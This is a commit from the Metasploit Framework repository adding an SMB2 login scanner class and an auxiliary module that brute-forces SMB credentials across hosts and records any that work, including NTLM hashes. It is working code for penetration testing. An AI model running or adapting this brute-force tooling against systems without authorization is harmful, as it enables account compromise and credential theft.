1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

add SMB2 login scanner and module

add smb2_login module backed by an smb2
LoginScanner class. This is a temporary alternative
to smb_login until ruby_smb catches up more on feature parity

MS-2557
This commit is contained in:
David Maloney 2017-03-29 11:36:33 -05:00
parent 2d9c2321d1
commit 418e371e35
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
2 changed files with 359 additions and 0 deletions

View File

@ -0,0 +1,142 @@
require 'metasploit/framework'
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'ruby_smb'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with the Server Messaging
# Block protocol.
class SMB2
include Metasploit::Framework::Tcp::Client
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
# Constants to be used in {Result#access_level}
module AccessLevels
# Administrative access. For SMB, this is defined as being
# able to successfully Tree Connect to the `ADMIN$` share.
# This definition is not without its problems, but suffices to
# conclude that such a user will most likely be able to use
# psexec.
ADMINISTRATOR = "Administrator"
# Guest access means our creds were accepted but the logon
# session is not associated with a real user account.
GUEST = "Guest"
end
CAN_GET_SESSION = true
DEFAULT_REALM = 'WORKSTATION'
LIKELY_PORTS = [ 139, 445 ]
LIKELY_SERVICE_NAMES = [ "smb" ]
PRIVATE_TYPES = [ :password, :ntlm_hash ]
REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
module StatusCodes
CORRECT_CREDENTIAL_STATUS_CODES = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
].freeze.map(&:freeze)
end
# @!attribute dispatcher
# @return [RubySMB::Dispatcher::Socket]
attr_accessor :dispatcher
# If login is successul and {Result#access_level} is not set
# then arbitrary credentials are accepted. If it is set to
# Guest, then arbitrary credentials are accepted, but given
# Guest permissions.
#
# @param domain [String] Domain to authenticate against. Use an
# empty string for local accounts.
# @return [Result]
def attempt_bogus_login(domain)
if defined?(@result_for_bogus)
return @result_for_bogus
end
cred = Credential.new(
public: Rex::Text.rand_text_alpha(8),
private: Rex::Text.rand_text_alpha(8),
realm: domain
)
@result_for_bogus = attempt_login(cred)
end
# (see Base#attempt_login)
def attempt_login(credential)
begin
connect
rescue ::Rex::ConnectionError => e
result = Result.new(
credential:credential,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: e,
host: host,
port: port,
protocol: 'tcp',
service_name: 'smb'
)
return result
end
proof = nil
begin
realm = credential.realm || ""
client = RubySMB::Client.new(self.dispatcher, username: credential.public, password: credential.private, domain: realm)
status_code = client.login
case status_code.name
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
status = Metasploit::Model::Login::Status::DENIED_ACCESS
when 'STATUS_SUCCESS'
status = Metasploit::Model::Login::Status::SUCCESSFUL
when 'STATUS_ACCOUNT_LOCKED_OUT'
status = Metasploit::Model::Login::Status::LOCKED_OUT
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
status = Metasploit::Model::Login::Status::INCORRECT
else
status = Metasploit::Model::Login::Status::INCORRECT
end
rescue ::Rex::ConnectionError => e
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
proof = e
end
result = Result.new(credential: credential, status: status, proof: proof)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'smb'
result
end
def connect
disconnect
self.sock = super
self.dispatcher = RubySMB::Dispatcher::Socket.new(self.sock)
end
def set_sane_defaults
self.connection_timeout = 10 if self.connection_timeout.nil?
self.max_send_size = 0 if self.max_send_size.nil?
self.send_delay = 0 if self.send_delay.nil?
end
end
end
end
end

View File

@ -0,0 +1,217 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/smb2'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def proto
'smb'
end
def initialize
super(
'Name' => 'SMB Login Check Scanner',
'Description' => %q{
This module will test a SMB login on a range of machines and
report successful logins. If you have loaded a database plugin
and connected to a database this module will record successful
logins and hosts so you can track your access.
},
'Author' =>
[
'thelightcosine', # RubySMB/SMB2 refactor
'tebo <tebo[at]attackresearch.com>', # Original
'Ben Campbell', # Refactoring
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', # admin check
'Tom Sellers <tom[at]fadedcode.net>' # admin check/bug fix
],
'References' =>
[
[ 'CVE', '1999-0506'], # Weak password
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'DB_ALL_CREDS' => false,
'BLANK_PASSWORDS' => false,
'USER_AS_PASS' => false
}
)
deregister_options('RHOST','USERNAME','PASSWORD')
# These are normally advanced options, but for this module they have a
# more active role, so make them regular options.
register_options(
[
Opt::Proxies,
OptBool.new('ABORT_ON_LOCKOUT', [ true, "Abort the run when an account lockout is detected", false ]),
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]),
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true])
], self.class)
end
def run_host(ip)
print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce")
domain = datastore['SMBDomain'] || ""
@scanner = Metasploit::Framework::LoginScanner::SMB2.new(
host: ip,
port: rport,
local_port: datastore['CPORT'],
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
framework: framework,
framework_module: self,
)
if datastore['DETECT_ANY_AUTH']
bogus_result = @scanner.attempt_bogus_login(domain)
if bogus_result.success?
print_error("This system accepts authentication with any credentials, brute force is ineffective.")
return
else
vprint_status('This system does not accept authentication with any credentials, proceeding with brute force')
end
end
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['SMBPass'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['SMBUser'],
user_as_pass: datastore['USER_AS_PASS'],
realm: domain,
)
cred_collection = prepend_db_passwords(cred_collection)
cred_collection = prepend_db_hashes(cred_collection)
@scanner.cred_details = cred_collection
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::LOCKED_OUT
if datastore['ABORT_ON_LOCKOUT']
print_error("Account lockout detected on '#{result.credential.public}', aborting.")
return
else
print_error("Account lockout detected on '#{result.credential.public}', skipping this user.")
end
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}"
report_creds(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' #{result.access_level}"
report_creds(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: result.credential.realm,
status: result.status
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
# This logic is not universal ie a local account will not care about workgroup
# but remote domain authentication will so check each instance
def accepts_bogus_domains?(user, pass)
bogus_domain = @scanner.attempt_login(
Metasploit::Framework::Credential.new(
public: user,
private: pass,
realm: Rex::Text.rand_text_alpha(8)
)
)
return bogus_domain.success?
end
def report_creds(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: (
Rex::Proto::NTLM::Utils.is_pass_ntlm_hash?(result.credential.private) ? :ntlm_hash : :password
),
username: result.credential.public,
}.merge(service_data)
if domain.present?
if accepts_bogus_domains?(result.credential.public, result.credential.private)
print_brute(:level => :vstatus, :ip => ip, :msg => "Domain is ignored for user #{result.credential.public}")
else
credential_data.merge!(
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: result.credential.realm
)
end
end
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
end